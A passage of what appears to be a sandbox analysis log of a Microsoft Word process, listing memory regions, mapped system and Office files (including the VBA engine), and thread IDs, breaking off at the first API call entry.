0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 400 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 401 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 402 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 403 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 404 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 405 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 406 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 407 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 408 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 409 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 410 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 411 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 412 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 413 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 414 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 415 start_va = 0x7fef9360000 end_va = 0x7fef936efff entry_point = 0x7fef9360000 region_type = mapped_file name = "wordcnvpxy.cnv" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordcnvpxy.cnv") Region: id = 416 start_va = 0x7fef90e0000 end_va = 0x7fef9108fff entry_point = 0x7fef90e0000 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\msconv97.dll") Region: id = 417 start_va = 0x7fef9360000 end_va = 0x7fef936ffff entry_point = 0x7fef9360000 region_type = mapped_file name = "recovr32.cnv" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\RECOVR32.CNV" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\recovr32.cnv") Region: id = 418 start_va = 0x7fef3830000 end_va = 0x7fef386dfff entry_point = 0x7fef3830000 region_type = mapped_file name = "wpft532.cnv" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT532.CNV" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\wpft532.cnv") Region: id = 419 start_va = 0x7fef3810000 end_va = 0x7fef3864fff entry_point = 0x7fef3810000 region_type = mapped_file name = "wpft632.cnv" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT632.CNV" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\wpft632.cnv") Region: id = 420 start_va = 0x7fee4b10000 end_va = 0x7fee4b64fff entry_point = 0x7fee4b10000 region_type = mapped_file name = "wpft632.cnv" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT632.CNV" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\wpft632.cnv") Region: id = 421 start_va = 0x7fef90e0000 end_va = 0x7fef9108fff entry_point = 0x7fef90e0000 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\msconv97.dll") Region: id = 422 start_va = 0x24f0000 end_va = 0x24f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 423 start_va = 0x2870000 end_va = 0x28effff entry_point = 0x2870000 region_type = mapped_file name = "~wrf{171d5768-4f43-4740-9751-58e4412391fb}.tmp" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{171D5768-4F43-4740-9751-58E4412391FB}.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.word\\~wrf{171d5768-4f43-4740-9751-58e4412391fb}.tmp") Region: id = 424 start_va = 0x75770000 end_va = 0x75841fff entry_point = 0x75770000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\System\\msvcr100.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\msvcr100.dll") Region: id = 425 start_va = 0x7fee46d0000 end_va = 0x7fee4789fff entry_point = 0x7fee46d0000 region_type = mapped_file name = "uiautomationcore.dll" filename = "\\Windows\\System32\\UIAutomationCore.dll" (normalized: "c:\\windows\\system32\\uiautomationcore.dll") Region: id = 426 start_va = 0x7fee4790000 end_va = 0x7fee4bd7fff entry_point = 0x7fee4790000 region_type = mapped_file name = "vbe7.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbe7.dll") Region: id = 427 start_va = 0x7fef3ed0000 end_va = 0x7fef3f23fff entry_point = 0x7fef3ed0000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 428 start_va = 0x27d0000 end_va = 0x27d0fff entry_point = 0x27d0000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 429 start_va = 0x27e0000 end_va = 0x27e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000027e0000" filename = "" Region: id = 430 start_va = 0x28f0000 end_va = 0x28f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000028f0000" filename = "" Region: id = 431 start_va = 0x2d10000 end_va = 0x2e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d10000" filename = "" Region: id = 432 start_va = 0x2e30000 end_va = 0x2e3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e30000" filename = "" Region: id = 433 start_va = 0x7fee4250000 end_va = 0x7fee46c8fff entry_point = 0x7fee4250000 region_type = mapped_file name = "gfx.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\GFX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\gfx.dll") Region: id = 434 start_va = 0x7fef8360000 end_va = 0x7fef8366fff entry_point = 0x7fef8360000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll") Region: id = 435 start_va = 0x2e40000 end_va = 0x2f0bfff entry_point = 0x2e40000 region_type = mapped_file name = "times.ttf" filename = "\\Windows\\Fonts\\times.ttf" (normalized: "c:\\windows\\fonts\\times.ttf") Region: id = 436 start_va = 0xa9d0000 end_va = 0xb1cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a9d0000" filename = "" Region: id = 437 start_va = 0xb1d0000 end_va = 0xb581fff entry_point = 0x0 region_type = private name = "private_0x000000000b1d0000" filename = "" Region: id = 438 start_va = 0x7fef8e40000 end_va = 0x7fef8e4bfff entry_point = 0x7fef8e40000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 439 start_va = 0x7fef9b40000 end_va = 0x7fef9bbffff entry_point = 0x7fef9b40000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 440 start_va = 0x7fef9bc0000 end_va = 0x7fef9bcefff entry_point = 0x7fef9bc0000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 441 start_va = 0x7fefb730000 end_va = 0x7fefb73afff entry_point = 0x7fefb730000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 442 start_va = 0x2900000 end_va = 0x2900fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002900000" filename = "" Region: id = 443 start_va = 0x7fefda90000 end_va = 0x7fefdb20fff entry_point = 0x7fefda90000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 444 start_va = 0x8550000 end_va = 0x8632fff entry_point = 0x8550000 region_type = mapped_file name = "msword.olb" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\MSWORD.OLB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msword.olb") Region: id = 445 start_va = 0xb590000 end_va = 0xb821fff entry_point = 0xb590000 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 446 start_va = 0xb590000 end_va = 0xb821fff entry_point = 0xb590000 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 447 start_va = 0x7fee3fb0000 end_va = 0x7fee424dfff entry_point = 0x7fee3fb0000 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 448 start_va = 0x2910000 end_va = 0x2912fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002910000" filename = "" Region: id = 449 start_va = 0x2920000 end_va = 0x292ffff entry_point = 0x0 region_type = private name = "private_0x0000000002920000" filename = "" Region: id = 450 start_va = 0x7fef90e0000 end_va = 0x7fef9105fff entry_point = 0x7fef90e0000 region_type = mapped_file name = "vbe7intl.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\1033\\vbe7intl.dll") Region: id = 451 start_va = 0x2e10000 end_va = 0x2e19fff entry_point = 0x2e10000 region_type = mapped_file name = "normnfd.nls" filename = "\\Windows\\System32\\normnfd.nls" (normalized: "c:\\windows\\system32\\normnfd.nls") Region: id = 452 start_va = 0x2e20000 end_va = 0x2e20fff entry_point = 0x0 region_type = private name = "private_0x0000000002e20000" filename = "" Region: id = 453 start_va = 0x2f10000 end_va = 0x2f10fff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 454 start_va = 0x2f20000 end_va = 0x2f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 455 start_va = 0x3820000 end_va = 0x3822fff entry_point = 0x0 region_type = private name = "private_0x0000000003820000" filename = "" Region: id = 456 start_va = 0x3830000 end_va = 0x3833fff entry_point = 0x0 region_type = private name = "private_0x0000000003830000" filename = "" Region: id = 457 start_va = 0x3ac0000 end_va = 0x3ac0fff entry_point = 0x0 region_type = private name = "private_0x0000000003ac0000" filename = "" Region: id = 458 start_va = 0x3bd0000 end_va = 0x3bd0fff entry_point = 0x0 region_type = private name = "private_0x0000000003bd0000" filename = "" Region: id = 459 start_va = 0x3be0000 end_va = 0x3be0fff entry_point = 0x0 region_type = private name = "private_0x0000000003be0000" filename = "" Region: id = 460 start_va = 0x3bf0000 end_va = 0x3bf7fff entry_point = 0x0 region_type = private name = "private_0x0000000003bf0000" filename = "" Region: id = 461 start_va = 0x3d70000 end_va = 0x3daffff entry_point = 0x0 region_type = private name = "private_0x0000000003d70000" filename = "" Region: id = 462 start_va = 0x3c00000 end_va = 0x3c02fff entry_point = 0x0 region_type = private name = "private_0x0000000003c00000" filename = "" Region: id = 463 start_va = 0x3c10000 end_va = 0x3c1bfff entry_point = 0x3c10000 region_type = mapped_file name = "vbe7.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbe7.dll") Region: id = 464 start_va = 0x3c20000 end_va = 0x3c23fff entry_point = 0x3c20000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 465 start_va = 0x4df0000 end_va = 0x4e75fff entry_point = 0x4df0000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso.dll") Region: id = 466 start_va = 0x3d30000 end_va = 0x3d33fff entry_point = 0x0 region_type = private name = "private_0x0000000003d30000" filename = "" Region: id = 467 start_va = 0x3d40000 end_va = 0x3d43fff entry_point = 0x0 region_type = private name = "private_0x0000000003d40000" filename = "" Region: id = 468 start_va = 0x3d50000 end_va = 0x3d57fff entry_point = 0x0 region_type = private name = "private_0x0000000003d50000" filename = "" Region: id = 469 start_va = 0x3eb0000 end_va = 0x3eeffff entry_point = 0x0 region_type = private name = "private_0x0000000003eb0000" filename = "" Region: id = 470 start_va = 0x3ef0000 end_va = 0x3ef2fff entry_point = 0x0 region_type = private name = "private_0x0000000003ef0000" filename = "" Region: id = 471 start_va = 0x3f00000 end_va = 0x3f0dfff entry_point = 0x3f00000 region_type = mapped_file name = "vbe7.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbe7.dll") Region: id = 472 start_va = 0x4390000 end_va = 0x4393fff entry_point = 0x0 region_type = private name = "private_0x0000000004390000" filename = "" Region: id = 473 start_va = 0xb750000 end_va = 0xb84ffff entry_point = 0x0 region_type = private name = "private_0x000000000b750000" filename = "" Region: id = 474 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 475 start_va = 0x43a0000 end_va = 0x43a3fff entry_point = 0x0 region_type = private name = "private_0x00000000043a0000" filename = "" Region: id = 476 start_va = 0x43b0000 end_va = 0x43b3fff entry_point = 0x0 region_type = private name = "private_0x00000000043b0000" filename = "" Region: id = 477 start_va = 0x43c0000 end_va = 0x43c2fff entry_point = 0x0 region_type = private name = "private_0x00000000043c0000" filename = "" Region: id = 478 start_va = 0x43d0000 end_va = 0x43d3fff entry_point = 0x0 region_type = private name = "private_0x00000000043d0000" filename = "" Region: id = 479 start_va = 0x43e0000 end_va = 0x43e3fff entry_point = 0x0 region_type = private name = "private_0x00000000043e0000" filename = "" Region: id = 480 start_va = 0x43f0000 end_va = 0x43f3fff entry_point = 0x0 region_type = private name = "private_0x00000000043f0000" filename = "" Region: id = 481 start_va = 0x7fef3830000 end_va = 0x7fef3863fff entry_point = 0x7fef3830000 region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\System32\\scrrun.dll" (normalized: "c:\\windows\\system32\\scrrun.dll") Region: id = 482 start_va = 0x4850000 end_va = 0x485ffff entry_point = 0x4850000 region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\System32\\scrrun.dll" (normalized: "c:\\windows\\system32\\scrrun.dll") Region: id = 534 start_va = 0x7fee3f80000 end_va = 0x7fee3fa2fff entry_point = 0x7fee3f80000 region_type = mapped_file name = "officevoicemanager.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\officevoicemanager.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\officevoicemanager.dll") Region: id = 584 start_va = 0x7fee3f20000 end_va = 0x7fee3f75fff entry_point = 0x7fee3f20000 region_type = mapped_file name = "msproof7.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\msproof7.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msproof7.dll") Region: id = 646 start_va = 0x4850000 end_va = 0x4850fff entry_point = 0x0 region_type = private name = "private_0x0000000004850000" filename = "" Region: id = 647 start_va = 0x4880000 end_va = 0x4881fff entry_point = 0x0 region_type = private name = "private_0x0000000004880000" filename = "" Region: id = 648 start_va = 0x4920000 end_va = 0x4921fff entry_point = 0x0 region_type = private name = "private_0x0000000004920000" filename = "" Region: id = 649 start_va = 0x4940000 end_va = 0x4941fff entry_point = 0x0 region_type = private name = "private_0x0000000004940000" filename = "" Region: id = 650 start_va = 0x4960000 end_va = 0x4961fff entry_point = 0x0 region_type = private name = "private_0x0000000004960000" filename = "" Region: id = 651 start_va = 0x4b70000 end_va = 0x4b70fff entry_point = 0x0 region_type = private name = "private_0x0000000004b70000" filename = "" Region: id = 652 start_va = 0x4b90000 end_va = 0x4b91fff entry_point = 0x0 region_type = private name = "private_0x0000000004b90000" filename = "" Region: id = 653 start_va = 0x4bb0000 end_va = 0x4bb1fff entry_point = 0x0 region_type = private name = "private_0x0000000004bb0000" filename = "" Region: id = 654 start_va = 0x4bd0000 end_va = 0x4bd1fff entry_point = 0x0 region_type = private name = "private_0x0000000004bd0000" filename = "" Region: id = 655 start_va = 0x4ea0000 end_va = 0x4ea1fff entry_point = 0x0 region_type = private name = "private_0x0000000004ea0000" filename = "" Region: id = 656 start_va = 0x4ec0000 end_va = 0x4ec1fff entry_point = 0x0 region_type = private name = "private_0x0000000004ec0000" filename = "" Region: id = 657 start_va = 0x4fe0000 end_va = 0x4fe1fff entry_point = 0x0 region_type = private name = "private_0x0000000004fe0000" filename = "" Region: id = 658 start_va = 0x7d30000 end_va = 0x7df6fff entry_point = 0x7d30000 region_type = mapped_file name = "calibri.ttf" filename = "\\Windows\\Fonts\\calibri.ttf" (normalized: "c:\\windows\\fonts\\calibri.ttf") Region: id = 659 start_va = 0xb590000 end_va = 0xb71cfff entry_point = 0xb590000 region_type = mapped_file name = "cambria.ttc" filename = "\\Windows\\Fonts\\cambria.ttc" (normalized: "c:\\windows\\fonts\\cambria.ttc") Region: id = 660 start_va = 0xb850000 end_va = 0xb920fff entry_point = 0xb850000 region_type = mapped_file name = "calibrii.ttf" filename = "\\Windows\\Fonts\\calibrii.ttf" (normalized: "c:\\windows\\fonts\\calibrii.ttf") Region: id = 661 start_va = 0x7fee3e50000 end_va = 0x7fee3f18fff entry_point = 0x7fee3e50000 region_type = mapped_file name = "msspell7.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msspell7.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\msspell7.dll") Region: id = 662 start_va = 0xb930000 end_va = 0xc8fffff entry_point = 0x0 region_type = private name = "private_0x000000000b930000" filename = "" Region: id = 663 start_va = 0x7fee3b00000 end_va = 0x7fee3c07fff entry_point = 0x7fee3b00000 region_type = mapped_file name = "msgr8en.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1033\\MSGR8EN.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\1033\\msgr8en.dll") Region: id = 664 start_va = 0x7fee3c10000 end_va = 0x7fee3e40fff entry_point = 0x7fee3c10000 region_type = mapped_file name = "mssp7en.lex" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSSP7EN.LEX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\mssp7en.lex") Region: id = 665 start_va = 0x4860000 end_va = 0x4860fff entry_point = 0x4860000 region_type = mapped_file name = "msgr8en.dub" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msgr8en.dub" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\msgr8en.dub") Region: id = 666 start_va = 0xc900000 end_va = 0xd449fff entry_point = 0xc900000 region_type = mapped_file name = "msgr8en.lex" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSGR8EN.LEX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\msgr8en.lex") Region: id = 667 start_va = 0x7fee3a60000 end_va = 0x7fee3af9fff entry_point = 0x7fee3a60000 region_type = mapped_file name = "mscss7en.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\mscss7en.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mscss7en.dll") Region: id = 668 start_va = 0x7fee39c0000 end_va = 0x7fee3a5bfff entry_point = 0x7fee39c0000 region_type = mapped_file name = "css7data0009.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\CSS7DATA0009.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\css7data0009.dll") Region: id = 671 start_va = 0x4870000 end_va = 0x487ffff entry_point = 0x0 region_type = private name = "private_0x0000000004870000" filename = "" Region: id = 672 start_va = 0x4930000 end_va = 0x4931fff entry_point = 0x0 region_type = private name = "private_0x0000000004930000" filename = "" Region: id = 673 start_va = 0x4950000 end_va = 0x4950fff entry_point = 0x0 region_type = private name = "private_0x0000000004950000" filename = "" Region: id = 674 start_va = 0x4ba0000 end_va = 0x4ba0fff entry_point = 0x0 region_type = private name = "private_0x0000000004ba0000" filename = "" Region: id = 675 start_va = 0x4bc0000 end_va = 0x4bc0fff entry_point = 0x0 region_type = private name = "private_0x0000000004bc0000" filename = "" Region: id = 676 start_va = 0x4be0000 end_va = 0x4be0fff entry_point = 0x0 region_type = private name = "private_0x0000000004be0000" filename = "" Region: id = 677 start_va = 0x4eb0000 end_va = 0x4eb0fff entry_point = 0x0 region_type = private name = "private_0x0000000004eb0000" filename = "" Region: id = 678 start_va = 0xd450000 end_va = 0xd680fff entry_point = 0xd450000 region_type = mapped_file name = "mssp7en.lex" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSSP7EN.LEX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\mssp7en.lex") Region: id = 679 start_va = 0x7fee3450000 end_va = 0x7fee39b9fff entry_point = 0x7fee3450000 region_type = mapped_file name = "nl7models0009.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\NL7MODELS0009.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\nl7models0009.dll") Region: id = 680 start_va = 0x7fef3810000 end_va = 0x7fef382afff entry_point = 0x7fef3810000 region_type = mapped_file name = "mscss7wre_en.dub" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\mscss7wre_en.dub" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mscss7wre_en.dub") Region: id = 681 start_va = 0x7fef9150000 end_va = 0x7fef9152fff entry_point = 0x7fef9150000 region_type = mapped_file name = "mscss7cm_en.dub" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\mscss7cm_en.dub" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mscss7cm_en.dub") Region: id = 682 start_va = 0x7fefd210000 end_va = 0x7fefd266fff entry_point = 0x7fefd210000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 683 start_va = 0x4fd0000 end_va = 0x4fd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004fd0000" filename = "" Region: id = 684 start_va = 0x4ff0000 end_va = 0x4ff1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004ff0000" filename = "" Region: id = 685 start_va = 0x5010000 end_va = 0x501ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005010000" filename = "" Region: id = 686 start_va = 0xd690000 end_va = 0xd78ffff entry_point = 0x0 region_type = private name = "private_0x000000000d690000" filename = "" Region: id = 687 start_va = 0xd870000 end_va = 0xd96ffff entry_point = 0x0 region_type = private name = "private_0x000000000d870000" filename = "" Region: id = 688 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 689 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 690 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 965 start_va = 0x4b80000 end_va = 0x4b8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004b80000" filename = "" Region: id = 966 start_va = 0x7fee2cd0000 end_va = 0x7fee2deefff entry_point = 0x7fee2cd0000 region_type = mapped_file name = "webservices.dll" filename = "\\Windows\\System32\\webservices.dll" (normalized: "c:\\windows\\system32\\webservices.dll") Region: id = 2619 start_va = 0x2aa0000 end_va = 0x2ad1fff entry_point = 0x0 region_type = private name = "private_0x0000000002aa0000" filename = "" Region: id = 2620 start_va = 0x2ae0000 end_va = 0x2ae0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002ae0000" filename = "" Region: id = 2621 start_va = 0xd480000 end_va = 0xd57ffff entry_point = 0x0 region_type = private name = "private_0x000000000d480000" filename = "" Region: id = 2622 start_va = 0xdae0000 end_va = 0xdbdffff entry_point = 0x0 region_type = private name = "private_0x000000000dae0000" filename = "" Region: id = 2623 start_va = 0xdc40000 end_va = 0xdd3ffff entry_point = 0x0 region_type = private name = "private_0x000000000dc40000" filename = "" Region: id = 2624 start_va = 0x2ae0000 end_va = 0x2b96fff entry_point = 0x2ae0000 region_type = mapped_file name = "arialbd.ttf" filename = "\\Windows\\Fonts\\arialbd.ttf" (normalized: "c:\\windows\\fonts\\arialbd.ttf") Region: id = 2625 start_va = 0xb250000 end_va = 0xb34ffff entry_point = 0x0 region_type = private name = "private_0x000000000b250000" filename = "" Region: id = 2626 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2627 start_va = 0x2910000 end_va = 0x2911fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002910000" filename = "" Region: id = 2628 start_va = 0x7fef3960000 end_va = 0x7fef39cdfff entry_point = 0x7fef3960000 region_type = mapped_file name = "mso.frameprotocolwin32.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\MSO.FRAMEPROTOCOLWIN32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mso.frameprotocolwin32.dll") Thread: id = 1 os_tid = 0xa08 Thread: id = 2 os_tid = 0x978 Thread: id = 3 os_tid = 0x93c Thread: id = 4 os_tid = 0x938 Thread: id = 5 os_tid = 0x934 Thread: id = 6 os_tid = 0x930 Thread: id = 7 os_tid = 0x92c Thread: id = 8 os_tid = 0x928 Thread: id = 9 os_tid = 0x924 Thread: id = 10 os_tid = 0x920 Thread: id = 11 os_tid = 0x91c Thread: id = 12 os_tid = 0x918 Thread: id = 13 os_tid = 0x914 Thread: id = 14 os_tid = 0x910 Thread: id = 15 os_tid = 0x90c Thread: id = 16 os_tid = 0x8e8 Thread: id = 17 os_tid = 0x8e4 Thread: id = 18 os_tid = 0x8e0 Thread: id = 19 os_tid = 0x8d8 Thread: id = 20 os_tid = 0x8d4 Thread: id = 21 os_tid = 0x8d0 [0048.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x11f250 | out: 